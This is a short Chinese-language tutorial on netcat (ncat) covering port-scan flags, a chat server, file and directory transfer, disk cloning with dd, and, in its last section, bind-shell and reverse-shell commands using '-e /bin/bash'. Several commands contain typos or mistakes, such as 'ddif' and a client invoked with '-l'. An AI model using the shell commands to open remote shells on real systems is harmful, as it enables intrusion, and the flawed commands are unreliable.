netcat用于调试和检查网络,能通过TCP和UDP在网络中读写数据。netcat是在两台电脑之间建立链接并返回两个数据流,可以建立一个服务器,传输文件,与朋友聊天,传输流媒体或者用它作为其它协议的独立客户端。
0x01、端口扫描
ncat-v -n 192.168.1.1 80
-v:显示详细信息
-n:使用纯数字ip地址,不用DNS来解析ip地址
-w 1 :设置超时时间为1
-u:扫描UDP端口,默认TCP
-z:使用0IO,连接成功后立即关闭连接, 不进行数据交换
-l:连接和收听到来的连接
-e:执行传递的命令行
-k:接受多个听模式的连接
0x02、聊天服务
Server
在10086端口启动一个tcp服务器
ncat -l 10086
Client
在机器上Clent上输入,Server会显示出来
ncat localhost 10086
0x03、文件传输
服务器向客户端传输文件
Server
ncat-l 10086 < test.txt
Client
ncat -n 127.0.0.1 10086 > test.txt
客户端向服务器传输文件
Server
touch test.txt
ncat -l 10086 > test.txt
Clinet
cat test.txt | ncat localhost 10086
0x03、目录传输
Server
tar -czvf - python | ncat -l10086
Clinet
ncat -n 127.0.0.1 10086 | tar -xvf -
0x04、克隆一个设备
Server
ddif=/dev/sda | nc -l 10086
Clinet
ncat -n 127.0.0.1 10086 | dd of=/dev/sda
0x05、打开一个shell
Server
ncat -l 10086 -e /bin/bash -i
Client
ncat -l 192.168.1.1 10086
反向shell
Server
ncat -l 10086
Cliet
ncat 127.0.0.1 10086 -e /bin/bash